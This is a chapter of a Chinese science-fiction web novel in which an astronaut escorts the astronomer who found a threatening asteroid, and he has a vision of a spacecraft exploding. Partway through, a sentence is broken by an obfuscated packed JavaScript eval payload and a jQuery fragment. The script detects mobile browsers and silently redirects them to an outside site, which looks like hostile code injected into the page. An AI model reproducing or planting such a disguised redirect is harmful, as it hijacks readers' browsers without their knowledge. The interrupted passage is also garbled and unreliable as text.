“同志，您能不能带他去测控中心报个道？”警卫站在岗哨里，举起手，遥指远处的一栋建筑，“就那儿，亮着灯的，就是测控中心。”
“我可以等一会。”那人开口拒绝，语气冰冷。
风起下意识看向他——来报道的这个人个子很高，很明显超出了航天员选拔的范围。
“杜铭同志，你们组长希望你尽快过去。”警卫说道。
杜铭。风起眯起眼睛，“烛龙”的发现者。
“那我可以自己过去。”杜铭坚持道。
“你没有门卡，进不去。”风起决定道：“我是风起，航天员。”
杜铭看了过来。
这一瞬间，风起的脑海里闪过了研究生院里最厉害的几个人，无论是做建模还是跑程序，他们总能用最短的时间找到最优解。杜铭身上也有那种强烈的“计算气质”。这种气质过于强烈，让她第一时间忽略了青年优越的长相。
隔着镜片，杜铭的目光并不算特别锐利，却带着某种专注，像是在透过她，寻找某种隐藏的真相。
他在打量我。风起意识到，她皱起眉头，再次开口：“走吧。”
杜铭没有再拒绝。
园区里建筑分散而对称，中间一条大路直直通向火箭发射塔。夕阳照射在塔身上，反射出橙红色的光。塔顶上，红色的信号灯正缓慢闪烁。
风起和杜铭隔着一米距离，走在大路上。行李箱的滚轮在砂石路面上发出“咕噜噜”的声音，机械而单调，在暮色中显得格外清晰。
“你是为了’烛龙’的轨道计算而来的吗？”
“你是为了’烛龙’来参加航天员选拔吗？”
他们几乎异口同声。
“你先。”
“好。你是为了’烛龙’的轨道计算而来的吗？”
“是，从北京天文台来。”
“北京天文台……是你发现了’烛龙’，对吧？”
“对。”
“我本来以为，发现’烛龙’至少会需要一个团队。”
“发现’烛龙’只需要一个人，阻止它才需要一个团队。”
“阻止它？”风起侧过头，“你是说它有撞击风险？”
杜铭扶了下眼镜，“可能性不为零。还有170天，’烛龙’的轨道随时可能有变化。”
“那我希望它远离地球。如果撞上了，会怎么样？”
“撞击会导致地震、海啸、极端高温、火灾，大量的灰尘和硫化物进入大气层，遮蔽阳光，形成全球性的’撞击冬天’。有假说认为，恐龙就是灭绝于一次撞击，证据就是墨西哥的希克苏鲁伯陨石坑。”
“我以为，我们只是准备进行科考任务。”
“‘射日计划’可不只是科考任务。你是航天员？”
“对，来参加’射日计划‘的选拔。北京航天三院，任务专家。”
“任务专家做什么？”
“我们负责航天器维护和载荷管理。”
杜铭沉默了一会儿，“任务专家，需要出舱行走吗？”
“如果有设备需要维修，我们会的。”风起点头，“这里就是测控中心了。”她刷了门卡，拉开大门。
正对大门的墙上，是一幅巨大的模拟轨迹图。那就是“烛龙”的轨道，鲜红的线条在蓝绿色的地球背景上显得格外刺眼，旁边用中英双语标注着：“射日计划——倒计时170天8小时25分12秒。”
在他们进门的时候，时间又过去了一秒。
杜铭看着倒计时，脚步突然一绊，行李箱的轮子卡在砖缝中。他的身体向前一倾，脚下踉跄两步，却没有稳住重心。
风起走在前面两步远的地方，听到声音，瞬间转身。她动作敏捷，右手迅速托住杜铭的左手肘部。
杜铭的右手下意识放开行李箱，在半空中抓了两下，先是摸到了风起肩膀处的布料，然后才抓住她的肩膀。他的力度之大，像是溺水的人抓住了一根浮木。
风起微微用力，扶住杜铭。
“杜铭？你没事吧？”
可杜铭没有反应。
行李箱“咣”得一声倒在地上，声音在大厅里回响。
有一秒钟多一点，杜铭还是没有反应。
风起看到杜铭的眼神空洞，鬓角渗出细细的汗珠。不是吧——她想，能发现“烛龙”的天才，就这么脆的吗？
杜铭感到自己的身体仿佛被拉入了一种无声的坠落中。胸腔传来一阵闷压感，他知道——
那该死的投影又来了。
画面渐渐变得清晰。他的视线穿过扭曲的光影，骤然掉入一艘巨大的航天器。舱内的警报灯闪烁着刺眼的红光，光芒像血液般脉动，将整个舱室浸染得炽热而混乱。
物体开始漂浮起来。笔、平板、摄像头轻轻离开原位，然后突然失控地乱飞。一个工具箱撞上舱壁，随后弹开，翻滚着砸向舷窗。液体从管道的裂口喷涌而出，在真空压力下迅速凝结成冰晶，漂浮在光影之间。
“失重……航天器内部……”
还没等杜铭的思绪聚拢，一片刺眼的白光席卷而来。他眯起眼睛，却无法阻挡那强烈的光刺入视网膜的每一个角落。随之而来的橘红色火光迅猛而凶悍，像洪水般吞噬了前方的一切。几乎是在同时，金属轰鸣通过舱壁传导过来，像一记钝击砸在心脏上，让他窒息。
两侧的金属舱壁再也无法承受压力，像一张褪色的旧报纸被碾成碎片。它们弯曲、折叠，然后被无法抗拒的力量拉扯着，向外撕裂，被抛向无尽的黑暗之中。舱壁一块块脱落，露出外面深邃无光的宇宙，那漆黑的深空像一张吞噬一切的巨口，吸走了所有的声音和光线。
杜铭的耳朵里一片嗡鸣。他的胸腔像被巨大的铁箍勒住，肺部无法完全扩张，呼吸变得急促而断续。他试图抬手抓住点什么——扶手、座椅、甚至漂浮的冰晶——却发现自己的手臂被无形的力量禁锢，完全失去了知觉。他的身体在爆炸的冲击波中轻飘飘地被推离原位，仿佛只是太空中一颗无足轻重的尘埃。
他的意识穿过了航天器破碎的舱壁，被吸入茫茫宇宙里。他看到航天器的残骸漂浮在太空，金属碎片在火光中崩裂、扭曲。再远一些，是一颗巨大的灰白色小行星，它拖着航天器的残骸，冰冷而孤独地向前滑行。
航天器爆炸的火光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14970615|161327||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，就像是小行星上一朵转瞬即逝的烟花。
远处，地球依旧蓝绿交错，安静地旋转着。它看上去是那么的平静，甚至无辜，这种漠然让杜铭的胸腔涌起一股愤怒。
星球无所谓湮灭，只有人类妄图如蝼蚁偷生。
骤然间，他的眼前一黑。所有的光线都被抽空，投影戛然而止。
他听到一个女声在问：“杜铭？听得到我说话吗？”
杜铭的眼神茫然片刻，才重新聚焦。他抿了抿嘴，低声说：“听得到。抱歉……没注意脚下。”
“你这不像是没注意脚下。”
风起眯起眼。杜铭刚才的样子，像是一个感受器失灵的机械臂，和外界失去了一切联系。人类最依赖的感受器官就是眼睛。刚才那三秒，他仿佛——就是看不见。
“杜铭，你刚才是不是看不见？”风起没有犹豫，直接开口。
杜铭抿起嘴唇。
一般人只会问“你刚才是不是头晕”，陌生人就更好了，什么都不会问。
他推了下眼镜：“我低血糖。”
杜铭的脸色苍白，带着一种近乎脆弱的破碎感。气场下去了，轮廓清晰的五官和眉眼就浮现出来。
低血糖的确能导致眼前一黑。风起点了点头。
她的右手依旧稳稳抓着杜铭的手臂，左手摸了一遍衣服口袋。夹克的口袋里还有从会议室拿的椰子糖，海南特产，白色包装，画着红色对的椰树。她看着挺新奇的，拿了两颗，到现在都没有吃。
她左手快速碾开糖纸，递给杜铭。
“吃了。”
杜铭安静地从风起掌心里，拿起那颗剥好的椰子糖，送进嘴里。
风起又剥开第二颗。
“够了。”
“继续。”
杜铭安静地将第二颗糖也吃了。
“行了，再多也没有了。你还头晕吗？”
“不。”
风起扶起倒在地上的行李箱递给杜铭，“那我也算是把你安全送到了。接下来知道去哪里吗？”
“知道，二楼。”
“风起。”
“嗯？”
“你的名字怎么写？”
“有风吹起来的风起，怎么了？给我送锦旗啊？”
“没有，想起来忘记问了。”
“行，看你脑子也清醒了。我走了，报道顺利。”
杜铭没有说话，他盯着风起的背影，打开手机上的记事本，快速下滑，里面一连串的时间记录从三年前第一次看到投影开始，每一条都附着日期和简短的备注——
”3月1日，寝室，舱外宇航员背影”
“5月17日，食堂，机械仪表疑似太空舱内”
“6月15日，实验室，未知天体”
“7月26日，天文观测台，未知天体”
越到后面，时间间隔越紧，上一条还是五天前，7月26日，他刚发现“烛龙”的时候。
杜铭的手指快速滑动，翻到最底端，输入今天的日期：7月31日，紫贝航天中心，太空舱爆炸。
然后，他另起一行，输入了“风起”两个字。
